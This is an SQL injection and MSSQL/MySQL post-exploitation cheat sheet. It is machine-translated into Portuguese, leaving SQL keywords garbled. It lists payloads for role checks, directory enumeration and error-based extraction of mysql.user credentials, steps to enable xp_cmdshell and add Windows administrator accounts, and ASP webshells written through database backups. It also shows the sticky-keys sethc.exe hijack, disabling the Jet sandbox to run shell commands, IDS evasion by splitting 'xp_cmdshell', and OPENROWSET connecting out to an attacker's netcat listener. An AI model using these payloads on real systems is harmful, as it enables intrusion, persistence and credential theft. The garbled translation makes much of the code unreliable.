; Insira no Diretor Executivo Temp(ID) master.dbo.xp_blank>_cmdshell C:\; –
; inserir no temp(id) exec master.dbo.xp_blank>_cmdshell diretor c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs ENUM W3SVC
; Insira no Exec Temp(ID,Num1) master.dbo.xp_blank>_dirtree C:\; – (xp_blank>_dirtree Autoridade Aplicável

PÚBLICO)
Escreva para a mesa:
Declaração 1: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(sysadmin)); –
Declaração 2: e 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
Declaração 3: e 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
Declaração 4: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(securityadmin)); –
Declaração 5: e 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Instrução 6: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(administrador de disco)); –
Declaração 7: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Declaração 8: e 1=(Selecionar IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Afirmação 9: e 1=(Selecionar IS_blank>_MEMBER(db_blank>_owner)); –

Escreva o caminho até a tabela:
; create table dirs(paths varchar(100), id int)–
; Insira direções executivas master.dbo.xp_blank>_dirtree c:\–
e 0<>(selecione os caminhos top 1 dos dirs)–
e 0<>(selecione os caminhos top 1 dos dirs onde caminhos não estão em(@Inetpub))–
; criar tabela dirs1(caminhos varchar(100), id int)–
; Insira direções executivas master.dbo.xp_blank>_dirtree e:\web–
e 0<>(selecione os caminhos top 1 de dirs1)–

Faça backup _blank> banco de dados em um diretório web: Baixe
; declare @a nome de sistema; conjunto @a=db_blank>_name(); Backup do banco de dados @a para disco=E:\web\down.bak; –

e 1=(Selecione o nome top 1 de(Selecione top 12 id, nome a partir de sysobjects onde xtype=char(85)) T

ordem por id desc)
e 1=(Selecione Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) a partir de sysobjects) Veja também

Tabelas relacionadas.
e 1=(selecione user_blank>_id de USER_blank>_LOGIN)
e 0=(selecionar usuário de USER_blank>_LOGIN onde o usuário>1)

-=- wscrip{filter}t.shell exemplo -=-
declare @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declare @o int, @f int, @t int @ret int
declarar @line Varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, OpenTextFile, @f fora, C:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line fora
while( @ret = 0 )
início
Imprimir @line
exec @ret = sp_blank>_oamethod @f, readline, @line fora
fim

declare @o int, @f int, @t int @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
sp_blank>_oamethod @o executivo, createtextfile, @f fora, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
executivo sp_blank>_oacreate speech.voicetext, @o encerrado
exec sp_blank>_oamethod @o, register, NULL, foo, bar
sp_blank>_oasetproperty @o executivo, velocidade, 150
exec sp_blank>_oamethod @o, fale, NULL, todos os seus servidores sequel pertencem a, us, 528
esperapor atraso 00:00:05

; declare @o int, @ret int executivo sp_blank>_oacreate speech.voicetext, @o execute

sp_blank>_oamethod @o, registrador, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, fale, NULL, todos os seus servidores sequel pertencem a nós, 528 espera de atraso

00:00:05–

xp_blank>_dirtree a permissão PÚBLICA aplicável
exec master.dbo.xp_blank>_dirtree c: A informação retornada possui dois campos: subdiretório, profundidade. Campos de subdiretório

Tipo de personagem, o campo de profundidade é o campo de modelagem.
Criar diretores de tabela (paths varchar(100), id int)
A construção de tabelas, a tabela criada aqui está relacionada ao xp_blank>_dirtree acima, com campos iguais e do mesmo tipo.
insert dirs exec master.dbo.xp_blank>_dirtree c: Desde que construamos uma tabela e definamos igualmente os campos retornados pelo processo de armazenamento

Executem! Para alcançar o efeito de escrever tabelas, passo a passo para obter as informações que queremos!
Essa injeção de erro é baseada principalmente no excesso de tipos de dados Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    ERRO 1690 (22003): BIGINT VALOR SEM SINAL, está fora do alcance em '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERRO 1690 (22003): BIGINT VALOR UNSIGNED está fora do intervalo em '(- (1)*

9223372036854775808)'
Consulta versão do banco de dados:
    mysql> SELECT * 2 (se (((SELECT * de (SELECT (versão ()) ) s), 18446744073709551610,

18446744073709551610));
    ERRO 1690 (22003): O VALOR DE BIGINT SEM SINAL está fora do intervalo em '(2 * se (( Selecionar ' 5.5 ' de

Dual), 18446744073709551610.18446744073709551610))'
Obtenha o nome do campo:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) como '' limit 1)>(SELECT * from

test.shop limite 1), 18446744073709551610, 18446744073709551610);

    ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if(((select

'artigo', 'revendedor', 'preço' de (selecione 'teste'.'loja'.'artigo' AS

'artigo', 'teste'.'loja'.'revendedor' AS 'revendedor','teste'.'loja'.'preço' COMO 'preço' de

'testar'.'loja') limite 1) > (selecionar

'teste'.'loja'.'artigo','teste'.'loja'.'revendedor','teste'.'loja'.'preço' de 'teste'..'loja' limite

1)),18446744073709551610,18446744073709551610))'
Obtenha o valor do campo:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if(((select

'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y

Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0', '', '', DO LIMITE DUPLO 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Note que esse método não funciona com versões mais antigas do Mysql, e você precisará saber o limite de comprimento da mensagem de erro, pois isso determinará

Você pode pegar o tempo que quiser:
    mysys / my_error.c

    /* Comprimento máximo de uma mensagem de erro. Deve ser mantido sincronizado com MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Se o objeto for MariaDB (um fork do Mysql), você pode ver uma mensagem de erro como essa ao tentar o método acima:

    mysql> SELECT 2*(if((SELECT * de (SELECT (versão())))), 18446744073709551610,

18446744073709551610))
    ERRO 1690 (22003): BIGINT UNSIGNED value está fora do intervalo em '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Como solução, esse problema pode ser resolvido da seguinte forma:

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    ERRO 1690 (22003): O valor BIGINT está fora do intervalo em '(('5.5-MariaDB' não é nulo) - -

(9223372036854775808))'
Agora vamos ver se conseguimos deixar nosso vetor um pouco mais curto

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) como '' limite 1)>(SELECT * de

test.shop limite 1), 18446744073709551610, 18446744073709551610)
    =
    selecione 1E308*se((selecione*de(selecione*frommysql.user)''limite 1)>(selecione*frommysql.user: limite

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT

1) um limite 1),2,2)
//获取字段个数


    selecione 1E308*se((selecione*do mysql.User limite 1)>(selecione 1),2,2)



Algumas outras deformações

    SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a
    select 1E308*if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT

1) um limite 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> select (select * from mysql.user)=1;
    mysql> selecionar (selecionar * do mysql.user)in(1);

    ERRO 1241 (21000): O operando deve conter 42(s) coluna(s)
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| host|| senha|| file_priv from(select*from mysql.user LIMIT 1)a

limite 1),2,2)*1E308
    SELECT (I IS NOT NULL) - -9223372036854775808 DE (SELECT (versão())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ERRO 1690 (22003): O VALOR DE BIGINT SEM SINAL ESTÁ FORA DO INTERVALO EM '((NOT('root@localhost')) - ~

(0))'
3. Julgar o sistema de banco de dados
; e (select count(*) from sysobjects)>0 mssql
; e (select count(*) do msysobjects)>0 acesso
4. O parâmetro de injeção é um caractere
'e [critérios de consulta] e ''='
5. Não há parâmetros filtrados durante a busca
'e [critérios de consulta] e '%25'='
6. Adivinhe o banco de dados
; e (selecione Contagem(*) de [nome do banco de dados])>0
7. Adivinhe o campo
; e (selecionar Contagem(nome do campo) do nome do banco de dados)>0
8. Adivinhe o comprimento do disco no campo
; e (selecione o top 1 LEN (nome do campo) do nome do banco de dados)>0
9. (1) Adivinhar o valor ASCII do campo (acesso)
; e (selecione top 1 asc(mid(nome do campo, 1,1)) do nome do banco de dados)>0
(2) Adivinhar o valor ASCII do campo (mssql)
; e (selecione top 1 unicode(substring(nome do campo, 1,1)) do nome do banco de dados)>0
10. Estrutura de Permissão de Teste (mssql)
; e 1=(selecione IS_SRVROLEMEMBER('sysadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('serveradmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('setupadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('securityadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('diskadmin')); --
; e 1=(selecionar IS_SRVROLEMEMBER('bulkadmin')); --
; e 1=(selecionar IS_MEMBER('db_owner')); --
11. Adicionar uma conta para mssql e o sistema
; Nome de usuário master.dbo.sp_addlogin executivo; --
; exec master.dbo.sp_password null, nome de usuário, senha; --
; nome de usuário de administrador de sistemas master.dbo.sp_addsrvrolemember exec; --
; Executivo master.dbo.xp_cmdshell 'Usuário da internet senha /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Exec master.dbo.xp_cmdshell 'Nome de usuário da internet senha /add'; --
; exec master.dbo.xp_cmdshell 'Administrador de grupo local da rede usuário /add'; --
12. (1) Percorra o catálogo
; Criar diretores de tabela (paths varchar(100), id int)
; Insira direções executivas master.dbo.xp_dirtree 'C:\'
; e (selecione os caminhos top 1 das direções)>0
; e (selecione os caminhos top 1 das direções onde caminhos não estão em('caminhos obtidos a partir do passo anterior'))>)
(2) Atravessar o catálogo
; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; insira o executivo temporário master.dbo.xp_availablemedia; -- Obter todos os drives de corrente
; inserir no temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obter uma lista de subdiretórios
; inserir no executivo temp(id,num1) master.dbo.xp_dirtree 'c:\'; -- Obter a estrutura de árvore de diretórios para todos os subdiretórios
; inserir no temp(id) exec master.dbo.xp_cmdshell 'tipo C:\web\index.asp'; -- Visualizar o conteúdo do arquivo
13. Procedimentos armazenados em mssql
xp_regenumvalues Chave raiz do registro, chave filho
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' e mais

método de conjunto de registros para retornar todos os valores-chave
xp_regread Chave raiz, chave filha, nome chave-valor
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' retorna o valor da chave de formulação
xp_regwrite Chave raiz, chave filha, nome do valor, tipo de valor, valor
Existem dois tipos de valores REG_SZ REG_DWORD para tipos de caracteres e para inteiros
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' são escritos no registro
xp_regdeletevalue Chave raiz, subchave, nome do valor
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' para remover um valor
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tecla delete,

Inclua todos os valores sob essa chave
14. Backup MSSQL cria um webshell
Usar modelo
criar tabela cmd(imagem str);
inserir em cmd(str) valores ('<% Dim oscrip{filter}t %>');
Faça backup do modelo do banco de dados para disco='c:\l.asp';
15. Funções embutidas do MSSQL
; e (selecione @@version)>0 para obter o número de versão do Windows
; e user_name()='dbo' para determinar se o usuário conectado do sistema atual é SA
; e (selecione user_name())>0 Explodiu os usuários conectados do sistema atual
; e (selecione db_name())>0 para obter o banco de dados atualmente conectado
16. Webshell conciso
Usar modelo
criar tabela cmd(imagem str);
inserir em cmd(str) valores ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c").stdout.readall%>');
Faça backup do modelo do banco de dados para disco='g:\wwwtest\l.asp';
Ao solicitar, use algo assim:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Obtenha todos os nomes de bancos de dados, incluindo os bancos de dados do sistema
–SELECT nome FROM master.dbo.sysdatabases

Obtenha todos os nomes de bancos de dados que não sejam do sistema
–selecione [nome] do master.dbo.sysdatabases onde DBId>6 Ordene por [Nome]

Obtenha todas as informações, incluindo o endereço do arquivo do banco de dados
–select * a partir de master.dbo.sysdatabases onde DBId>6 ordena por

[Nome]



Esta consulta de instrução retorna todas as tabelas de usuário

selecione * de sysobjects onde xtype='u'


Consultar todas as informações da tabela de dados no sistema

select * a partir de sysobjects



Olhe o nome da máquina
select * do sys.servers





Índice da coluna
Executivo master.dbo.xp_subdirs 'C:\'


Executivo master.dbo.xp_dirtree 'C:',1,1 db_owner
Permissões podem ser aplicadas


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Código de programa, escrito para webshell


Executivo master.dbo.xp_subdirs 'D:\Web\www.xx.com';
Executivo sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"






execute mestre... xp_enumgroups  


Usuários do sistema Traverse


execute mestre... xp_getnetname
Obtenha o nome atual da máquina


--Liste os discos fixos no servidor, junto com o espaço disponível para cada unidade
   Público DBO


executar

xp_ntsec_enumdomains


--
Crie uma conta para fazer login no MSSQL
Nome master.dbo.sp_addlogin executivo, Pass; --






--
Liste o nome de domínio do servidor
xp_ntsec_enumdomains //
Nome da máquina //dbo public


--
Pare ou inicie um serviço
xp_servicecontrol 'stop', 'schedule' //schedule é o nome do serviço //dbo


--Usar pid

Parar um programa em execução
xp_terminate_process 123 //123 é o pid //dbo


--
Apenas subdiretórios em um diretório são listados
dbo.xp_subdirs 'C:' //dbo


SQL Server
O método de abertura do xp_cmdshell em 2005
EXECUTIVO sp_configure 'mostrar opções avançadas', 1; RECONFIGURAR; EXECUTIVO

sp_configure 'xp_cmdshell', 1; RECONFIGURAR;

SQL2005 Abrir 'OPENROWSET'
Métodos suportados:
sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; executivo sp_configure 'Ad Hoc

Consultas Distribuídas',1; RECONFIGURAR;

SQL2005 para habilitar o suporte 'sp_oacreate':
sp_configure executivo 'mostrar opções avançadas', 1; RECONFIGURAR; Executivo

sp_configure 'Procedimentos de Automação Velhos',1; RECONFIGURAR





Como ativar xp_cmdshell no SQL Server 2008


-- Para permitir que opções avançadas sejam alteradas.
EXECUTIVO

sp_configure 'mostrar opções avançadas', 1
VAI
-- Para atualizar o valor atualmente configurado para

Opções avançadas.
RECONFIGURAR
VAI
-- Para ativar o recurso.
EXECUTIVO sp_configure 'xp_cmdshell', 1
VAI
--Para

Atualize o valor atualmente configurado para este recurso.
RECONFIGURAR
VAI


exec xp_cmdshell 'ipconfig'



Hoje, quis mudar a senha de login SA do servidor de banco de dados, mas de repente esqueci, então tive que abrir o analisador de consultas com a ajuda de outras contas para mudar a senha SA

É muito simples:


Execução:
sp_password Null, 'teracypwd', 'sa'
Defina a senha do SA para "teracypwd"


Após execução bem-sucedida

Há "Comando(s) concluído(s) com sucesso."  OKEY!








Na permissão do banco de dados, separe o método para obter o IP do servidor de banco de dados MSSQL


1. NC local ouve NC - VVLP 80


2.; inserir em

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Endereço=seu IP, 80; ', 'selecionar * de

dest_table') selecione * de src_table; --


select * do openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')





Importação e exportação de banco de dados

/*不同服务器数据库之间的数据操作*/

--Criar servidor de link
Executivo sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Nome ou Endereço IP do Servidor Remoto'
executivo sp_addlinkedsrvlogin 'ITSV', 'falso

',null, 'nome de usuário', 'senha'

--exemplo de consulta
select * do nome do banco de dados ITSV.dbo.nome da tabela

--exemplo de importação
select *

para tabela a partir de ITSV.databasename.dbo.tablename

--Exclua o servidor vinculado se ele não estiver mais em uso no futuro
executivo sp_dropserver 'ITSV',

'droplogins'

--
Conectando a dados remotos/LAN (openrowset/openquery/opendatasource)
--1、OpenrowSet

--exemplo de consulta
select *

from openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'senha', nome do banco de dados.dbo.nome da tabela)

--
Gerar uma tabela local
selecione * na tabela do openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'Senha', número

De acordo com o nome do banco de dados.dbo. nome da tabela)

--
Importar a tabela local para a tabela remota
inserir openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; 'Senhas', bancos de dados

nome.dbo.nome da tabela)
selecione *a partir da tabela local

--
Atualizar tabelas locais
Atualização B
Coloque b. coluna A = a
from openrowset( 'SQLOLEDB', 'nome do servidor SQL'; 'Nome de usuário'; '

senha ', nome do banco de dados .dbo.table name) como uma tabela local de junção interna b
em a.coluna1=b.coluna1

--openquery
O uso requer a criação de uma conexão

--Primeiro, crie uma conexão para criar um servidor de links
executivo sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'nome remoto do servidor ou endereço IP'
--Investigue
select *
FROM OpenQuery(ITSV, 'SELECT * FROM dados

library.dbo.table nome ')
--
Importar a tabela local para a tabela remota
inserir openquery(ITSV, 'SELECT * FROM nome do banco de dados.dbo.table')
selecione * do local

Tabela
--atualizar tabela local
Atualização B
conjunto b. coluna B=a
DE OPENQUERY(ITSV, 'SELECT * FROM database.dbo.tablename')

como um  
junta interna tabela local b em a. coluna A=b. coluna A

--3、OpenDataSource/OpenRowSet
SELECT *
DE   

opendatasource( 'SQLOLEDB', 'Data Source=ip/NomeServidor; ID de usuário = Nome de login; Senha=Senha '

).test.dbo.roy_ta
--
Importar a tabela local para a tabela remota



Exclusão e restauração da xp_cmdshell


Maneiras de recuperar xp_cmdshell   
Exclua o procedimento armazenado estendido xp_cmdshell

Enunciado   
Executivo sp_dropextendedproc 'xp_cmdshell'   



Recuperar a instrução sql do cmdshell   
executivo sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Executivo

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de

master.dbo.sysobjects onde xtype='x' e   
O resultado de retorno é 1 e está tudo bem   


Caso contrário, você precisa enviar c:\inetput\web

\xplog70.dll depois   
Executivo master.dbo.sp_addextendedproc 'xp_cmdshell', 'c:\inetput\web\xplog70.dll

’; --   



Se você a apagar da seguinte forma   
Procedimento de queda sp_addextendedproc   
Procedimento de queda sp_oacreate   
Executivo

sp_dropextendedproc 'xp_cmdshell'   



Você pode restaurá-lo com a seguinte afirmação   
DBCC AddExtendedProc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Dessa forma, pode ser restaurado diretamente, independentemente de sp_addextendedproc existir ou não






1、
Use xp_cmdshell:
          EXEC master.dbo.xp_cmdshell "administrador administrador de usuários da rede / add"
          Executivo

master.dbo.xp_cmdshell "administradores de grupos locais da rede admin /add"

Nesse xp_cmdshell caso, use sp_oacreate para seguir sp_oamethod:
          declare @object int   
          Executivo

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          Executivo sp_oamethod

@object,'Run',NULL,'administrador de usuários nets admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administradores admin /add'

Nota: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Use sp_oacreate e FSO
          declare @o int
          Executivo sp_oacreate

'scrip{filter}ting.filesystemobject', @o fora
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          declare @oo int
          Executivo

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo fora
          Executivo sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Use xp_regwrite (db_owner, reinicialização necessária):
          Executivo master.dbo.xp_regwrite

'hkey_local_machine'''software\microsoft\windows\currentversion\


run','eadd1','reg_sz','admin de usuários da rede admin /add'
          Executivo master.dbo.xp_regwrite

'hkey_local_machine'''software\microsoft\windows\currentversion\


run','eadd2','reg_sz','administradores de grupo local da rede admin /add'
5. Use sp_add_job:
          Executivo

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Use o MSDB Executive sp_delete_job

nulo,'x'
          Executivo sp_add_job 'X'
          Executivo sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          sp_add_jobserver executivo

Null, 'x', @@servername executivo sp_start_job 'x'















Muitos SA já tiveram sucesso em várias máquinas usando diretamente o modo sandbox, mas eu nunca pratiquei e não sei qual é a taxa de sucesso. Quando a extensão for removida, primeiro

Restaure o armazenamento de leitura e gravação no registro.
DBCC addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite'', 'xpstar.dll')



Corrigido o modo protegido do sandbox
Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet

\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --



Veja se o valor 'SandBoxMode' ficou 0.


executivo master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Por fim, chame o modo sandbox
selecione * do OpenRowSet('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c NET User User passwd /add")')







Se o modo de proteção sandbox não estiver "desligado", um erro é reportado:
          Servidor: Msg 7357, Nível 16, Estado 2, Linha 1

Falhou em lidar com o objeto 'select shell("cmd.exe /c net user user passwd /add")'. O OLE DB oferece programas

O prefácio 'microsoft.jet.oledb.4.0' indica que não há colunas no objeto.

Rastreamento de erros OLE DB [Erro não de interface: provedor OLE DB incapaz de processar objetos, já que o objeto

has nocolumnsNomeProvedor='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c usuário de rede

user passwd /add")']。


2、
Se o .mdb não existir ou o caminho de entrada estiver incorreto
           Servidor: Msg 7399, Nível 16, Estado 1, Linha 1

Erro 'microsoft.jet.oledb.4.0' do fornecedor OLE DB.
            [O provedor OLE/DB retornou mensagem:

Arquivo 'C:\WINDOWS\system32\ias\dnary1.mdb' não encontrado. ]

Rastreamento de erro OLE DB [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Inicialize returned

0x80004005: ]。


3. Se houver mais espaços durante o processo de entrada, um erro também será reportado. Preste atenção especial a isso, muitas pessoas procuram diretamente artigos online

Cole e execute.
          Servidor: Msg 7357, Nível 16, Estado 2, Linha 1
          Falhou em processar o objeto 'select

shell("cmd.exe /c NET User User passwd /add")'。
O provedor OLE DB 'microsoft.jet.oledb.4.0' afirma que não há colunas no objeto.

Rastreamento de erros do OLE DB [Erro não de interface:
Provedor OLE DB incapaz de processar o objeto, já que o objeto tem

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Se as permissões do mdb e as permissões cmd.exe estiverem erradas, o problema também ocorrerá.
          Quando as permissões do MDB estão incorretas,
           Servidor: Eliminar

Interesse 7320, Nível 16, Estado 2, Linha 1

Ele não sabia responder
O provedor OLE DB 'Microsoft.Jet.OLEDB.4.0' executa a consulta.
           [Provedor OLE/DB retornado

message: 未知]
           OLE DB Error Trace [Provedor OLE/DB 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Se a permissão da rede estiver incorreta, não há aviso.

A última forma de aumentar a autoridade é enviar os ias.mdb e cmd.exe do sistema sob o diretório web atual, net.exe três arquivos.

Execute select * a partir de openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe usuário usuário passwd /add")')
          Adicionei com sucesso um usuário de computador.






A divisão do cmdshell contorna o IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
declarar

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Editar shift de sequestro de registro
Mestre Executivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe em frente'; --



Consultar o linkserver
selecionar

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acesso a dados a partir de master.dbo.sysservers
selecionar

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acesso a dados a partir de master.dbo.sysservers



Consultar linkserver2
selecione nome de host distinto,db_name(dbid),net_address,loginame,program_name de

Mestre... sysprocesses



Consultar o linkserver
e outros usuários logados
select * de [192.168.1.1].master.dbo.syslogins



Query linkserver
Todos os bancos de dados
select * de linkedSrvWeb.master.dbo.sysdatabases



Realizar armazenamento estendido no LinkServer
Exec [IP].master.dbo.xp_cmdshell



Consultar todas as tabelas no linkserver
selecione * de [ip].master.dbo.sysobjects








select * do openrowset

('sqloledb','server=IP; uid=usuário; pwd=senha', 'selecionar @@version')


select * do openquery([LINKSERVER

nome], 'selecionar @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * do openquery(GM_SERVER,'select * dos sysobjects onde xtype = (''U'')')


select * de

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




selecione * do openquery(toatdeweb,'select

srvname de master.dbo.sysservers')


Inserir no OpenDataSource

('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; banco de dados=hack520').hack520.dbo.zhu select

nome de master.dbo.sysdatabases
criar banco de dados hack520 Criar TABELA zhu(nome: nvarchar(256)

nulo); Criar TABELA J8(id int NULL, nome nvarchar(256) null);


select * do openquery

(toatdeweb,'definir fmtonly desligado executivo master.dbo.xp_cmdshell'usuário da internet'')


Mestre Executivo... xp_dirtree

'c:\',1,1
Realize um diretório de consulta


Links.master.executivo.. xp_cmdshell 'ipconfig'


select * from openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell 'ipconfig /all'')



Conecte o mysql Select * de Mem_DB. UserDB.dbo.AdminList


MESTRE EXECUTIVO... XP_dirtree 'c:\',1,1




Executivo

master.dbo.xp_cmdshell 'dir'


select count(*) de [indicar]
Consulte quanto de dados há na tabela atual




selecione nome de host distinto,db_name(dbid),net_address,loginame,program_name

do mestre... sysprocesses






selecione * do gameDB01. Server01.dbo.cabal_character_table onde nome='

Porco'





Quando você deleta, diz: O banco de dados está sendo usado e não pode ser excluído.


Clique no banco de dados que você quer excluir para abrir o Visualizador de Eventos.


Entrada:


Uso   

mestre
Vai
Depois, insira o seguinte:
declare @d varchar (8000)
Set @d= ' '
selecione @d=@d+ ' ' matar   

'+cast(spid como varchar)+personagem(13)
do mestre... sysprocesses onde dbid=db_id('nome da biblioteca')
executivo(@d)
--
Use código para excluir primeiro o processo que se conecta a esse banco de dados












O MSSQL opera o Oracle através do LinkServer






1) Instalar a Oracle no servidor SQL_SERVER 2005

